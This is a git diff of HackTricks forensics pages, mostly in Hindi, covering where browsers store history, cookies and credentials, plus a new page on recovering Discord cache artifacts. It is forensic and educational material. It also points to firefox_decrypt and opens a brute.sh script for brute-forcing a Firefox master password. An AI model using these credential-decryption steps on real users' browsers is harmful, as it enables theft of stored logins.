- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## संदर्भ
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,55 +4,55 @@
## ब्राउज़र आर्टिफैक्ट्स <a href="#id-3def" id="id-3def"></a>
ब्राउज़र आर्टिफैक्ट्स में विभिन्न प्रकार के डेटा शामिल होते हैं जो वेब ब्राउज़रों द्वारा संग्रहीत होते हैं, जैसे कि नेविगेशन इतिहास, बुकमार्क और कैश डेटा। ये आर्टिफैक्ट्स ऑपरेटिंग सिस्टम के भीतर विशिष्ट फ़ोल्डरों में रखे जाते हैं, जो ब्राउज़रों के बीच स्थान और नाम में भिन्न होते हैं, फिर भी सामान्यतः समान डेटा प्रकारों को संग्रहीत करते हैं।
ब्राउज़र आर्टिफैक्ट्स में वे विभिन्न प्रकार के डेटा शामिल होते हैं जिन्हें वेब ब्राउज़र द्वारा स्टोर किया जाता है, जैसे नेविगेशन इतिहास, बुकमार्क और कैश डेटा। ये आर्टिफैक्ट्स ऑपरेटिंग सिस्टम के अंदर विशिष्ट फोल्डरों में रखे जाते हैं, ब्राउज़र के अनुसार स्थान और नाम अलग हो सकते हैं, पर सामान्य रूप से समान प्रकार के डेटा स्टोर होते हैं।
यहाँ सबसे सामान्य ब्राउज़र आर्टिफैक्ट्स का सारांश है:
यहाँ सबसे सामान्य ब्राउज़र आर्टिफैक्ट्स का सारांश दिया गया है:
- **नेविगेशन इतिहास**: उपयोगकर्ता द्वारा वेबसाइटों पर किए गए दौरे को ट्रैक करता है, जो दुर्भावनापूर्ण साइटों पर दौरे की पहचान करने के लिए उपयोगी है।
- **ऑटो-कंप्लीट डेटा**: बार-बार किए गए खोजों के आधार पर सुझाव, जो नेविगेशन इतिहास के साथ मिलाकर अंतर्दृष्टि प्रदान करते हैं
- **बुकमार्क्स**: उपयोगकर्ता द्वारा त्वरित पहुँच के लिए सहेजे गए साइटें
- **एक्सटेंशन और ऐड-ऑन**: उपयोगकर्ता द्वारा स्थापित ब्राउज़र एक्सटेंशन या ऐड-ऑन।
- **कैश**: वेब सामग्री (जैसे, चित्र, जावास्क्रिप्ट फ़ाइलें) को संग्रहीत करता है ताकि वेबसाइट लोडिंग समय में सुधार हो सके, फोरेंसिक विश्लेषण के लिए मूल्यवान।
- **लॉगिन्स**: संग्रहीत लॉगिन क्रेडेंशियल्स
- **फेविकॉन**: वेबसाइटों से जुड़े आइकन, जो टैब और बुकमार्क में दिखाई देते हैं, उपयोगकर्ता दौरे पर अतिरिक्त जानकारी के लिए उपयोगी
- **ब्राउज़र सत्र**: खुले ब्राउज़र सत्रों से संबंधित डेटा।
- **डाउनलोड्स**: ब्राउज़र के माध्यम से डाउनलोड की गई फ़ाइलों क रिकॉर्ड।
- **फॉर्म डेटा**: वेब फॉर्म में दर्ज की गई जानकारी, भविष्य के ऑटोफिल सुझावों के लिए सहेजी गई
- **थंबनेल्स**: वेबसाइटों की पूर्वावलोकन छवियाँ
- **कस्टम डिक्शनरी.txt**: शब्द जो उपयोगकर्ता द्वारा ब्राउज़र की डिक्शनरी में जोड़े गए।
- **Navigation History**: वेबसाइटों पर उपयोगकर्ता की विज़िट्स को ट्रैक करता है, जो खतरनाक साइटों की विज़िट्स की पहचान करने में उपयोगी है।
- **Autocomplete Data**: बार-बार की गई खोजों के आधार पर सुझाव देता है; नेविगेशन इतिहास के साथ मिलकर उपयोगी जानकारी प्रदान करता है
- **Bookmarks**: उपयोगकर्ता द्वारा तेज़ी से एक्सेस के लिए सेव किए गए साइट्स
- **Extensions and Add-ons**: ब्राउज़र एक्सटेंशन या ऐड-ऑन जो उपयोगकर्ता ने इंस्टॉल किए हों
- **Cache**: वेब सामग्री (जैसे इमेज, JavaScript फ़ाइलें) स्टोर करता है ताकि वेबसाइट लोडिंग समय बेहतर हो; फॉरेंसिक विश्लेषण के लिए मूल्यवान होता है
- **Logins**: संग्रहीत लॉगिन क्रेडेंशियल।
- **Favicons**: वेबसाइट्स से जुड़ी आइकॉन जो टैब और बुकमार्क में दिखाई देती हैं; उपयोगकर्ता विज़िट्स पर अतिरिक्त जानकारी देने में सहायक
- **Browser Sessions**: खुली ब्राउज़र सत्रों से संबंधित डेटा।
- **Downloads**: ब्राउज़र के माध्यम से डाउनलोड की गई फ़ाइलों क रिकॉर्ड।
- **Form Data**: वेब फॉर्म्स में डाली गई जानकारी, भविष्य में ऑटोफिल सुझावों के लिए सेव की जाती है
- **Thumbnails**: वेबसाइटों की प्रीव्यू इमेजेस
- **Custom Dictionary.txt**: ब्राउज़र की डिक्शनरी में उपयोगकर्ता द्वारा जोड़े गए शब्द
## फ़ायरफ़ॉक्स
## Firefox
फ़ायरफ़ॉक्स उपयोगकर्ता डेटा को प्रोफाइल में व्यवस्थित करता है, जो ऑपरेटिंग सिस्टम के आधार पर विशिष्ट स्थानों में संग्रहीत होते हैं:
Firefox यूज़र डेटा को प्रोफाइल्स में व्यवस्थित करता है, जो ऑपरेटिंग सिस्टम के आधार पर विशिष्ट स्थानों में स्टोर होते हैं:
- **लिनक्स**: `~/.mozilla/firefox/`
- **मैकओएस**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **विंडोज**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
इन निर्देशिकाओं में एक `profiles.ini` फ़ाइल उपयोगकर्ता प्रोफाइल की सूची बनाती है। प्रत्येक प्रोफाइल का डेटा `profiles.ini` में `Path` वेरिएबल में नामित फ़ोल्डर में संग्रहीत होता है, जो `profiles.ini` के समान निर्देशिका में स्थित होता है। यदि किसी प्रोफाइल का फ़ोल्डर गायब है, तो इसे हटाया जा सकता है
इन डायरेक्टरीज़ के भीतर `profiles.ini` फ़ाइल यूज़र प्रोफाइल्स की सूची देती है। प्रत्येक प्रोफाइल का डेटा उसी डायरेक्टरी में `profiles.ini` में `Path` वेरिएबल में नामित फ़ोल्डर में स्टोर होता है। अगर किसी प्रोफ़ाइल का फ़ोल्डर गायब है, तो संभवतः उसे डिलीट कर दिया गया होगा
प्रोफाइल फ़ोल्डर के भीतर, आप कई महत्वपूर्ण फ़ाइलें पा सकते हैं:
प्रत्येक प्रोफाइल फ़ोल्डर के भीतर, आप कई महत्वपूर्ण फ़ाइलें पा सकते हैं:
- **places.sqlite**: इतिहास, बुकमार्क और डाउनलोड संग्रहीत करता है। विंडोज़ पर [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) जैसे उपकरण इतिहास डेटा तक पहुँच सकते हैं।
- इतिहास और डाउनलोड जानकारी निकालने के लिए विशिष्ट SQL क्वेरी का उपयोग करें।
- **bookmarkbackups**: बुकमार्क के बैकअप को शामिल करता है।
- **formhistory.sqlite**: वेब फॉर्म डेटा संग्रहीत करता है।
- **places.sqlite**: इतिहास, बुकमार्क और डाउनलोड स्टोर करता है। Windows पर इतिहास डेटा एक्सेस करने के लिए [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) जैसे टूल्स उपलब्ध हैं।
- इतिहास और डाउनलोड जानकारी निकालने के लिए विशिष्ट SQL क्वेरी का उपयोग करें।
- **bookmarkbackups**: बुकमार्क्स के बैकअप समाहित करता है।
- **formhistory.sqlite**: वेब फॉर्म डेटा स्टोर करता है।
- **handlers.json**: प्रोटोकॉल हैंडलर्स का प्रबंधन करता है।
- **persdict.dat**: कस्टम डिक्शनरी शब्द।
- **addons.json** और **extensions.sqlite**: स्थापित ऐड-ऑन और एक्सटेंशन की जानकारी।
- **cookies.sqlite**: कुकी संग्रहण, विंडोज़ पर निरीक्षण के लिए [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) उपलब्ध है।
- **cache2/entries** या **startupCache**: कैश डेटा, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) जैसे उपकरणों के माध्यम से पहुँच योग्य
- **favicons.sqlite**: फेविकॉन संग्रहीत करता है।
- **prefs.js**: उपयोगकर्ता सेटिंग्स और प्राथमिकताएँ।
- **downloads.sqlite**: पुरानी डाउनलोड डेटाबेस, अब places.sqlite में एकीकृत।
- **thumbnails**: वेबसाइट थंबनेल्स
- **addons.json** और **extensions.sqlite**: इंस्टॉल किए गए ऐड-ऑन और एक्सटेंशन्स की जानकारी।
- **cookies.sqlite**: कुकीज़ स्टोर करता है; Windows पर निरीक्षण के लिए [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) उपलब्ध है।
- **cache2/entries** या **startupCache**: कैश डेटा, जिन्हें [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) जैसे टूल्स के जरिए एक्सेस किया जा सकता है
- **favicons.sqlite**: favicons स्टोर करता है।
- **prefs.js**: यूज़र सेटिंग्स और प्राथमिकताएँ।
- **downloads.sqlite**: पुराने डाउनलोड डेटाबेस; अब places.sqlite में एकीकृत।
- **thumbnails**: वेबसाइट थंबनेल।
- **logins.json**: एन्क्रिप्टेड लॉगिन जानकारी।
- **key4.db** या **key3.db**: संवेदनशील जानकारी को सुरक्षित रने के लिए एन्क्रिप्शन कुंजी संग्रहीत करता है।
- **key4.db** या **key3.db**: संवेदनशील जानकारी को सुरक्षित रने के लिए एन्क्रिप्शन कीज़ स्टोर करता है।
अतिरिक्त रूप से, ब्राउज़र के एंटी-फिशिंग सेटिंग्स की जांच `prefs.js` में `browser.safebrowsing` प्रविष्टियों की खोज करके की जा सकती है, जो यह संकेत करती है कि सुरक्षित ब्राउज़िंग सुविधाएँ सक्षम या अक्षम हैं
इसके अलावा, ब्राउज़र के anti-phishing सेटिंग्स की जाँच `prefs.js` में `browser.safebrowsing` एंट्रीज़ को खोजकर की जा सकती है, जो दर्शाती हैं कि safe browsing फीचर सक्षम है या अक्षम
मास्टर पासवर्ड को डिक्रिप्ट करने के लिए, आप [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) का उपयोग कर सकते हैं\
इस स्क्रिप्ट और कॉल के साथ आप एक पासवर्ड फ़ाइल को ब्रूट फ़ोर्स करने के लिए निर्दिष्ट कर सकते हैं:
To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
निम्न स्क्रिप्ट और कॉल के साथ आप ब्रूट फोर्स के लिए एक पासवर्ड फ़ाइल निर्दिष्ट कर सकते हैं:
```bash:brute.sh
#!/bin/bash
@ -67,63 +67,69 @@ done < $passfile
## Google Chrome
Google Chrome उपयोगकर्ता प्रोफाइल को ऑपरेटिंग सिस्टम के आधार पर विशिष्ट स्थानों में संग्रहीत करता है:
Google Chrome ऑपरेटिंग सिस्टम के आधार पर उपयोगकर्ता प्रोफाइल निम्न स्थानों में संग्रहीत करता है:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
इन निर्देशिकाओं के भीतर, अधिकांश उपयोगकर्ता डेटा **Default/** या **ChromeDefaultData/** फ़ोल्डरों में पाया जा सकता है। निम्नलिखित फ़ाइलें महत्वपूर्ण डेटा रखती हैं:
इन निर्देशिकाओं के भीतर अधिकांश उपयोगकर्ता डेटा **Default/** या **ChromeDefaultData/** फ़ोल्डरों में मिल सकता है। निम्नलिखित फ़ाइलों में महत्वपूर्ण डेटा होता है:
- **History**: URLs, डाउनलोड और खोज कीवर्ड शामिल हैं। Windows पर, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) का उपयोग इतिहास पढ़ने के लिए किया जा सकता है। "Transition Type" कॉलम में विभिन्न अर्थ होते हैं, जिसमें उपयोगकर्ता द्वारा लिंक पर क्लिक करना, टाइप किए गए URLs, फॉर्म सबमिशन और पृष्ठ पुनः लोड करना शामिल है।
- **Cookies**: कुकीज़ संग्रहीत करता है। निरीक्षण के लिए, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) उपलब्ध है।
- **Cache**: कैश डेटा रखता है। निरीक्षण के लिए, Windows उपयोगकर्ता [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) का उपयोग कर सकते हैं।
- **Bookmarks**: उपयोगकर्ता बुकमार्क।
- **Web Data**: फॉर्म इतिहास शामिल है।
- **Favicons**: वेबसाइट के फ़ेविकॉन को संग्रहीत करता है।
- **Login Data**: उपयोगकर्ता नाम और पासवर्ड जैसे लॉगिन क्रेडेंशियल्स शामिल हैं।
- **Current Session**/**Current Tabs**: वर्तमान ब्राउज़िंग सत्र और खुले टैब के बारे में डेटा।
- **Last Session**/**Last Tabs**: Chrome बंद होने से पहले अंतिम सत्र के दौरान सक्रिय साइटों के बारे में जानकारी।
- **Extensions**: ब्राउज़र एक्सटेंशन और ऐड-ऑन के लिए निर्देशिकाएँ।
- **Thumbnails**: वेबसाइट के थंबनेल को संग्रहीत करता है।
- **Preferences**: एक फ़ाइल जिसमें जानकारी समृद्ध है, जिसमें प्लगइन्स, एक्सटेंशन, पॉप-अप, सूचनाएँ और अधिक के लिए सेटिंग्स शामिल हैं।
- **Browsers built-in anti-phishing**: यह जांचने के लिए कि क्या एंटी-फिशिंग और मैलवेयर सुरक्षा सक्षम है, `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` चलाएँ। आउटपुट में `{"enabled: true,"}` देखें।
- **History**: URLs, downloads, और search keywords होते हैं। Windows पर इतिहास पढ़ने के लिए [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) का उपयोग किया जा सकता है। "Transition Type" कॉलम के विभिन्न अर्थ होते हैं, जैसे यूज़र द्वारा लिंक पर क्लिक, टाइप किए गए URLs, form submissions, और page reloads।
- **Cookies**: Cookies संग्रहीत करता है। निरीक्षण के लिए [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) उपलब्ध है।
- **Cache**: Cached डेटा रखता है। निरीक्षण के लिए Windows उपयोगकर्ता [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) का उपयोग कर सकते हैं।
Electron-based desktop apps (e.g., Discord) भी Chromium Simple Cache का उपयोग करते हैं और डिस्क पर समृद्ध artifacts छोड़ते हैं। देखें:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: उपयोगकर्ता के bookmarks।
- **Web Data**: form history शामिल है।
- **Favicons**: वेबसाइट favicons संग्रहीत करता है।
- **Login Data**: उपयोगकर्ता नाम और पासवर्ड जैसी लॉगिन क्रेडेंशियल्स शामिल हैं।
- **Current Session**/**Current Tabs**: वर्तमान browsing session और खुली tabs का डेटा।
- **Last Session**/**Last Tabs**: Chrome बंद होने से पहले अंतिम session के दौरान सक्रिय साइट्स की जानकारी।
- **Extensions**: ब्राउज़र extensions और addons के डायरेक्टरी।
- **Thumbnails**: वेबसाइट thumbnails संग्रहीत करता है।
- **Preferences**: एक जानकारीपूर्ण फ़ाइल, जिसमें plugins, extensions, pop-ups, notifications और अन्य सेटिंग्स शामिल होती हैं।
- **Browsers built-in anti-phishing**: यह जाँचने के लिए कि anti-phishing और malware protection सक्षम हैं या नहीं, चलाएँ `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`। आउटपुट में `{"enabled: true,"}` देखें।
## **SQLite DB Data Recovery**
जैसा कि आप पिछले अनुभागों में देख सकते हैं, Chrome और Firefox दोनों **SQLite** डेटाबेस का उपयोग डेटा संग्रहीत करने के लिए करते हैं। **टूल का उपयोग करके हटाए गए प्रविष्टियों को पुनर्प्राप्त करना संभव है** [**sqlparse**](https://github.com/padfoot999/sqlparse) **या** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)।
जैसा कि पिछली सेक्शन में दिखाया गया है, Chrome और Firefox दोनों डेटा संग्रहीत करने के लिए **SQLite** डेटाबेस का उपयोग करते हैं। हटाई गई प्रविष्टियों को **recover** करना संभव है, इसके लिए टूल [**sqlparse**](https://github.com/padfoot999/sqlparse) या [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) का उपयोग किया जा सकता है
## **Internet Explorer 11**
Internet Explorer 11 अपने डेटा और मेटाडेटा को विभिन्न स्थानों में प्रबंधित करता है, संग्रहीत जानकारी और इसके संबंधित विवरणों को अलग करने में मदद करता है ताकि आसानी से पहुँच और प्रबंधन किया जा सके
Internet Explorer 11 अपना डेटा और मेटाडेटा विभिन्न स्थानों पर प्रबंधित करता है, जिससे संग्रहीत जानकारी और उसके संबंधित विवरणों को अलग करना और एक्सेस/प्रबंधित करना आसान होता है
### Metadata Storage
Internet Explorer के लिए मेटाडेटा `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` में संग्रहीत होता है (जहाँ VX V01, V16, या V24 हो सकता है)। इसके साथ, `V01.log` फ़ाइल में `WebcacheVX.data` के साथ संशोधन समय में असमानताएँ दिखाई दे सकती हैं, जो `esentutl /r V01 /d` का उपयोग करके मरम्मत की आवश्यकता को इंगित करती हैं। यह मेटाडेटा, जो ESE डेटाबेस में स्थित है, को photorec और [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) जैसे टूल का उपयोग करके पुनर्प्राप्त और निरीक्षण किया जा सकता है। **Containers** तालिका के भीतर, कोई यह पहचान सकता है कि प्रत्येक डेटा खंड कहाँ संग्रहीत है, जिसमें Skype जैसे अन्य Microsoft टूल के लिए कैश विवरण शामिल हैं।
Internet Explorer के मेटाडेटा `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` में संग्रहीत होते हैं (जहाँ VX V01, V16, या V24 हो सकता है)। इसके साथ `V01.log` फ़ाइल में `WebcacheVX.data` से modification time असंगतियाँ दिख सकती हैं, जिसे सुधारने के लिए `esentutl /r V01 /d` की आवश्यकता हो सकती है। यह मेटाडेटा एक ESE database में होता है, जिसे photorec जैसे टूल से recover किया जा सकता है और [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) से निरीक्षण किया जा सकता है। **Containers** टेबल के भीतर यह पता लगाया जा सकता है कि प्रत्येक डेटा सेगमेंट किस तालिका या container में संग्रहीत है, जिसमें Skype जैसे अन्य Microsoft टूल्स के cache विवरण भी शामिल हैं।
### Cache Inspection
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) टूल कैश निरीक्षण की अनुमति देता है, जिसमें कैश डेटा निकालने के लिए फ़ोल्डर स्थान की आवश्यकता होती है। कैश के लिए मेटाडेटा में फ़ाइल नाम, निर्देशिका, पहुँच गणना, URL मूल, और कैश निर्माण, पहुँच, संशोधन, और समाप्ति समय को इंगित करने वाले टाइमस्टैम्प शामिल हैं।
cache निरीक्षण के लिए [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) टूल उपलब्ध है, जिसे cache डेटा extraction फ़ोल्डर का स्थान देना आवश्यक होता है। cache के मेटाडेटा में filename, directory, access count, URL origin, और cache निर्माण, access, modification, और expiry समय के timestamps शामिल होते हैं।
### Cookies Management
कुकीज़ को [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) का उपयोग करके खोजा जा सकता है, जिसमें मेटाडेटा नाम, URLs, पहुँच गणना, और विभिन्न समय-संबंधित विवरण शामिल हैं। स्थायी कुकीज़ `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` में संग्रहीत होती हैं, जबकि सत्र कुकीज़ मेमोरी में रहती हैं।
Cookies को [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) से एक्सप्लोर किया जा सकता है, जिसमें मेटाडेटा में नाम, URLs, access counts, और विभिन्न समय-संबंधी विवरण होते हैं। Persistent cookies `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` में संग्रहीत होते हैं, जबकि session cookies मेमोरी में रहते हैं।
### Download Details
डाउनलोड मेटाडेटा [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) के माध्यम से सुलभ है, जिसमें विशिष्ट कंटेनर डेटा जैसे URL, फ़ाइल प्रकार, और डाउनलोड स्थान रखता है। भौतिक फ़ाइलें `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` के अंतर्गत पाई जा सकती हैं।
Downloads का मेटाडेटा [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) से एक्सेस किया जा सकता है, और विशिष्ट containers में URL, file type, और download location जैसे डेटा होते हैं। फ़िजिकल फ़ाइलें `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` के तहत मिल सकती हैं।
### Browsing History
ब्राउज़िंग इतिहास की समीक्षा करने के लिए, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) का उपयोग किया जा सकता है, जिसमें निकाले गए इतिहास फ़ाइलों का स्थान और Internet Explorer के लिए कॉन्फ़िगरेशन की आवश्यकता होती है। यहाँ मेटाडेटा में संशोधन और पहुँच समय, साथ ही पहुँच गणना शामिल है। इतिहास फ़ाइलें `%userprofile%\Appdata\Local\Microsoft\Windows\History` में स्थित हैं।
Browsing history देखने के लिए [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) का उपयोग किया जा सकता है, इसके लिए extracted history फ़ाइलों का स्थान और Internet Explorer के लिए कॉन्फ़िगरेशन आवश्यक है। यहां मेटाडेटा में modification और access times के साथ access counts भी शामिल होते हैं। History फ़ाइलें `%userprofile%\Appdata\Local\Microsoft\Windows\History` में स्थित होती हैं।
### Typed URLs
टाइप किए गए URLs और उनके उपयोग समय को रजिस्ट्री में `NTUSER.DAT` के तहत `Software\Microsoft\InternetExplorer\TypedURLs` और `Software\Microsoft\InternetExplorer\TypedURLsTime` में संग्रहीत किया जाता है, जो उपयोगकर्ता द्वारा दर्ज किए गए अंतिम 50 URLs और उनके अंतिम इनपुट समय को ट्रैक करता है
Typed URLs और उनके उपयोग समय NTUSER.DAT के रजिस्ट्री में `Software\Microsoft\InternetExplorer\TypedURLs` और `Software\Microsoft\InternetExplorer\TypedURLsTime` में संग्रहीत होते हैं, जो उपयोगकर्ता द्वारा दर्ज किए गए अंतिम 50 URLs और उनकी अंतिम प्रविष्टि समय को ट्रैक करते हैं
## Microsoft Edge
Microsoft Edge उपयोगकर्ता डेटा को `%userprofile%\Appdata\Local\Packages` में संग्रहीत करता है। विभिन्न डेटा प्रकारों के लिए पथ हैं:
Microsoft Edge उपयोगकर्ता डेटा `%userprofile%\Appdata\Local\Packages` में संग्रहीत करता है। विभिन्न डेटा प्रकारों के पाथ्स:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@ -133,24 +139,24 @@ Microsoft Edge उपयोगकर्ता डेटा को `%userprofile%
## Safari
Safari डेटा `/Users/$User/Library/Safari` में संग्रहीत होता है। प्रमुख फ़ाइलें शामिल हैं:
Safari डेटा `/Users/$User/Library/Safari` पर संग्रहीत होता है। प्रमुख फ़ाइलें:
- **History.db**: `history_visits` और `history_items` तालिकाएँ URLs और यात्रा के टाइमस्टैम्प के साथ। क्वेरी करने के लिए `sqlite3` का उपयोग करें।
- **Downloads.plist**: डाउनलोड की गई फ़ाइलों के बारे में जानकारी।
- **Bookmarks.plist**: बुकमार्क किए गए URLs को संग्रहीत करता है।
- **TopSites.plist**: सबसे अधिक देखी जाने वाली साइटें
- **Extensions.plist**: Safari ब्राउज़र एक्सटेंशन की सूची। पुनर्प्राप्त करने के लिए `plutil` या `pluginkit` का उपयोग करें।
- **UserNotificationPermissions.plist**: डोमेन जो पुश सूचनाएँ भेजने की अनुमति देते हैं। पार्स करने के लिए `plutil` का उपयोग करें।
- **LastSession.plist**: अंतिम सत्र के टैब। पार्स करने के लिए `plutil` का उपयोग करें।
- **Browsers built-in anti-phishing**: जांचे कि `defaults read com.apple.Safari WarnAboutFraudulentWebsites` का उपयोग करके। 1 का उत्तर संकेत करता है कि यह सुविधा सक्रिय है।
- **History.db**: `history_visits` और `history_items` तालिकाएँ जिनमें URLs और visit timestamps होते हैं। query करने के लिए `sqlite3` का उपयोग करें।
- **Downloads.plist**: डाउनलोड की गई फ़ाइलों क जानकारी।
- **Bookmarks.plist**: bookmarked URLs संग्रहीत करता है।
- **TopSites.plist**: सबसे अधिक देखी गई साइट्स
- **Extensions.plist**: Safari browser extensions की सूची। पुनःप्राप्त करने के लिए `plutil` या `pluginkit` का उपयोग करें।
- **UserNotificationPermissions.plist**: उन डोमेनों की सूची जिन्हें notifications करने की अनुमति दी गई है। पार्स करने के लिए `plutil` का उपयोग करें।
- **LastSession.plist**: अंतिम सत्र की tabs। पार्स करने के लिए `plutil` का उपयोग करें।
- **Browsers built-in anti-phishing**: जांच करने के लि `defaults read com.apple.Safari WarnAboutFraudulentWebsites` चलाएँ। उत्तर 1 होने पर यह फीचर सक्रिय है।
## Opera
Opera का डेटा `/Users/$USER/Library/Application Support/com.operasoftware.Opera` में स्थित है और इतिहास और डाउनलोड के लिए Chrome के प्रारूप को साझा करता है।
Opera का डेटा `/Users/$USER/Library/Application Support/com.operasoftware.Opera` में स्थित होता है और history व downloads के लिए Chrome के फॉर्मेट को साझा करता है।
- **Browsers built-in anti-phishing**: यह सत्यापित करें कि क्या `fraud_protection_enabled` Preferences फ़ाइल में `true` पर सेट है, `grep` का उपयोग करके
- **Browsers built-in anti-phishing**: जाँचने के लिए Preferences फ़ाइल में `fraud_protection_enabled` को grep करके देखें कि क्या यह `true` पर सेट है
ये पथ और कमांड विभिन्न वेब ब्राउज़रों द्वारा संग्रहीत ब्राउज़िंग डेटा तक पहुँचने और समझने के लिए महत्वपूर्ण हैं।
ये paths और commands विभिन्न वेब ब्राउज़र्स द्वारा संग्रहीत ब्राउज़िंग डेटा तक पहुँचने और उसे समझने के लिए निर्णायक हैं।
## References
@ -159,4 +165,5 @@ Opera का डेटा `/Users/$USER/Library/Application Support/com.operasof
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,89 @@
# Discord Cache Forensics (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
This page summarizes how to triage Discord Desktop cache artifacts to recover exfiltrated files, webhook endpoints, and activity timelines. Discord Desktop is an Electron/Chromium app and uses Chromium Simple Cache on disk.
## कहाँ देखें (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Cache_Data के अंदर महत्वपूर्ण ऑन‑डिस्क संरचनाएँ:
- index: Simple Cache index database
- data_#: Binary cache block files that can contain multiple cached objects
- f_######: Individual cached entries stored as standalone files (often larger bodies)
Note: Discord में messages/channels/servers को हटाने से यह लोकल cache purge नहीं होता। Cached items अक्सर रहती हैं और उनकी file timestamps उपयोगकर्ता की गतिविधि के अनुरूप होती हैं, जिससे timeline पुनर्निर्माण संभव होता है।
## क्या रिकवर किया जा सकता है
- cdn.discordapp.com/media.discordapp.net के माध्यम से फ़ेच की गई निकाली गई attachments और thumbnails
- छवियाँ, GIFs, वीडियो (उदा., .jpg, .png, .gif, .webp, .mp4, .webm)
- Webhook URLs (https://discord.com/api/webhooks/…)
- Discord API कॉल्स (https://discord.com/api/vX/…)
- beaconing/exfil activity को correlate करने और intel matching के लिए मीडिया का hashing करने में मददगार
## त्वरित ट्रायज (मैन्युअल)
- उच्च‑सिग्नल आर्टिफैक्ट के लिए cache में grep करें:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- एक त्वरित टाइमलाइन बनाने के लिए cached एंट्रीज़ को modified time के अनुसार सॉर्ट करें (mtime दर्शाता है कि ऑब्जेक्ट कब cache में आया था):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## f_* एंट्रीज़ का पार्सिंग (HTTP body + headers)
f_ से शुरू होने वाली फ़ाइलों में HTTP response headers होते हैं और उसके बाद body होती है। हेडर ब्लॉक आमतौर पर \r\n\r\n पर समाप्त होता है। उपयोगी response headers में शामिल हैं:
- Content-Type: मीडिया प्रकार का अनुमान लगाने के लिए
- Content-Location or X-Original-URL: प्रीव्यू/कोरिलेशन के लिए मूल रिमोट URL
- Content-Encoding: gzip/deflate/br (Brotli) हो सकता है
